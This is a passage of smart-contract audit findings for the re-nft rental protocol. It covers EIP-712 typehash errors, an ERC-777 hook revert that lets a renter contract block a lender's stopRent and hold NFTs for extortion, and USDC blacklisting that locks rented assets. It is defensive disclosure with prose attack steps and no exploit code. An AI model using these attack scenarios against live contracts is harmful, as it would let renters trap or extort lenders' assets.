Tools Used

Manual review

Recommended Mitigation Steps

To mitigate this issue, the _deriveOrderMetadataHash() function should be updated to include the emittedExtraData field when computing the hash of the OrderMetadata struct. This will ensure that the function is in compliance with the EIP-712 specification and that the hash accurately represents the OrderMetadata struct.

Assessed type

Other

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L373-L375 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L394-L400

Vulnerability details

Impact

According to the EIP-712 standard, if a struct type references other struct types, the set of referenced struct types should be appended directly to the encoding of the type containing them, and this set should be sorted by name (1). However, in the current implementation in the Signer contract, the _RENTAL_ORDER_TYPEHASH and _RENT_PAYLOAD_TYPEHASH are not derived correctly, leading to non-compliance with the EIP-712 standard.

Proof of Concept

The rentalOrderTypeHash returned by the _deriveRentalTypehashes() function, which is stored as _RENTAL_ORDER_TYPEHASH in the constructor, is meant to represent the EIP-712 typehash for the RentalOrderStruct. However, it is computed as: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L373-L375

rentalOrderTypeHash = keccak256(
	abi.encode(rentalOrderTypeString, hookTypeString, itemTypeString)
);

This is incorrect, as EIP-712 specifies that the set of referenced struct types is appended directly to the encoding of the type containing them, which can be achieved by using abi.encodePacked():

rentalOrderTypeHash = keccak256(
	abi.encodePacked(rentalOrderTypeString, hookTypeString, itemTypeString)
);

This is equivalent to keccak256(string.concat(rentalOrderTypeString, hookTypeString, itemTypeString)) and EIP-712 compliant.

Furthermore, the typehash for the RentPayload struct is derived correctly using abi.encodePacked(), but the correct sorting order is not observed as the OrderMetadata type string is appended before the OrderFulfillment type string: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L394-L400

rentPayloadTypeHash = keccak256(
	abi.encodePacked(
		rentPayloadTypeString,
		orderMetadataTypeString,
		orderFulfillmentTypeString
	)
);

This breaks EIP-712 compliance, so can be seen as an instance of “function of the protocol or its availability could be impacted” and is hence classified as medium severity.

Tools Used

Manual review

Recommended Mitigation Steps

To fix these issues, the _deriveRentalTypehashes() function in Signer.sol should be updated to correctly derive the rentalOrderTypeHash and rentPayloadTypeHash according to the EIP-712 standard.

1. For rentalOrderTypeHash, use abi.encodePacked(rentalOrderTypeString, hookTypeString, itemTypeString) instead of abi.encode(rentalOrderTypeString, hookTypeString, itemTypeString).
2. For rentPayloadTypeHash, sort orderMetadataTypeString and orderFulfillmentTypeString by name before appending them to the encoding.

This will ensure that the derived type hashes are compliant with EIP-712 and function correctly in the protocol and with future external integrations.

Assessed type

Other

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L100-L119

Vulnerability details

Impact

The PaymentEscrow contract serves as an escrow for rental payments while rentals are active and handles their transfer when they are stopped. PAY orders can be stopped by the lender at any time, in which case the payment is split pro rata among the lender and the renter, and by anybody once the rental has expired, in which case the payment goes in full to the renter.

However, if an ERC-777 token is used as payment in a PAY order and the renter is a contract address, the renter can extend the duration of the rental until they receive the rental in full by reverting on the tokensReceived() hook until the full duration is over. This will cause the call to transfer() in the _safeTransfer() function to revert and prevent the lender from stopping the rental: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L100-L119

function _safeTransfer(address token, address to, uint256 value) internal {
	// Call transfer() on the token.
	(bool success, bytes memory data) = token.call(
		abi.encodeWithSelector(IERC20.transfer.selector, to, value)
	);
	/*...*/
	if (!success || (data.length != 0 && !abi.decode(data, (bool)))) {
		revert Errors.PaymentEscrowModule_PaymentTransferFailed(token, to, value);
	}
}

The renter can be a contract as, per the sponsor:

Since the renter is the one doing the fulfilling and calling seaport, and the renter will be the offerer of the PAYEE order, it means that the renter does not have to sign this order. it can just be passed in.

And anyway:

Seaport supports signing orders with smart contracts via eip-1271

Furthermore, the renter could potentially extort the lender for larger amounts, as they can hold the NFTs hostage for as long as they want at no cost.

Proof of Concept

1. Alice (the lender) creates a PAY order with an ERC-777 token as payment.
2. Bob (the renter), a contract address, fulfills the order.
3. Bob reverts on the tokensReceived() hook, extending the duration of the rental.
4. Alice is unable to stop the rental until the full duration is over.
5. Bob can hold the NFTs hostage, potentially extorting Alice for larger amounts.

Tools Used

Manual review

Recommended Mitigation Steps

One possible mitigation would be to implement a mechanism to allow the renter to recuperate their items once a PAY rental has ended even if the transfer to the renter fails. Alternatively, an allowance could be set and execution resumed if a transfer fails, so that the recipient can pull the transfer themselves.

Assessed type

ERC20

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L292-L296

Vulnerability details

Impact

The Stop policy provides functionality to stop a rental, which involves transferring the rented items back to the lender and the tokens in escrow to the lender, renter or both based on the type of order and point in time. This is implemented in the stopRent() and stopRentBatch() functions, which require both the transfers of the rented items and of the tokens in escrow to succeed:

function stopRent(RentalOrder calldata order) external {
	...
	
	// Interaction: Transfer rentals from the renter back to lender.
	_reclaimRentedItems(order);

	// Interaction: Transfer ERC20 payments from the escrow contract to the respective recipients.
	ESCRW.settlePayment(order);
	...

However, there is a potential issue if the lender's address is unable to receive a consideration ERC20, for example, due to being blacklisted. In such a case, when a BASE rental is stopped, the lender will not be able to recover the rented assets either as the transaction will revert.

The same applies for the renter in case of a PAY transaction, in which case the lender won't be able to recover the rented assets either.

This could potentially lead to a situation where rented assets are locked forever in the safe.

Proof of Concept

Consider the following scenario:

1. Alice (the lender) creates a PAY order to rent out her NFTs and provides USDC as a consideration item.
2. Bob fulfills the order and the NFTs are transferred to the rental safe while the USDC is held in escrow.
3. Bob gets blacklisted in the USDC contract, possibly on purpose.
4. Alice tries to stop the rental using the stopRent() function in the Stop.sol contract.
5. The stopRent() function attempts to transfer the rented NFTs back to Alice and the USDC tokens in escrow, or part of them, to Bob.
6. However, because Bob is blacklisted, the transfer of the USDC tokens to his address fails.
7. As a result, the entire stopRent() transaction reverts, and Alice is unable to recover her rented NFTs.

Tools Used

Manual review

Recommended Mitigation Steps

A possible solution to this issue could be to allow the lender to forfeit the payment if they are the one calling stopRent(). This would ensure that even if any actor is blacklisted and cannot receive the consideration ERC20 token, they can still recover their rented assets.

Assessed type

ERC20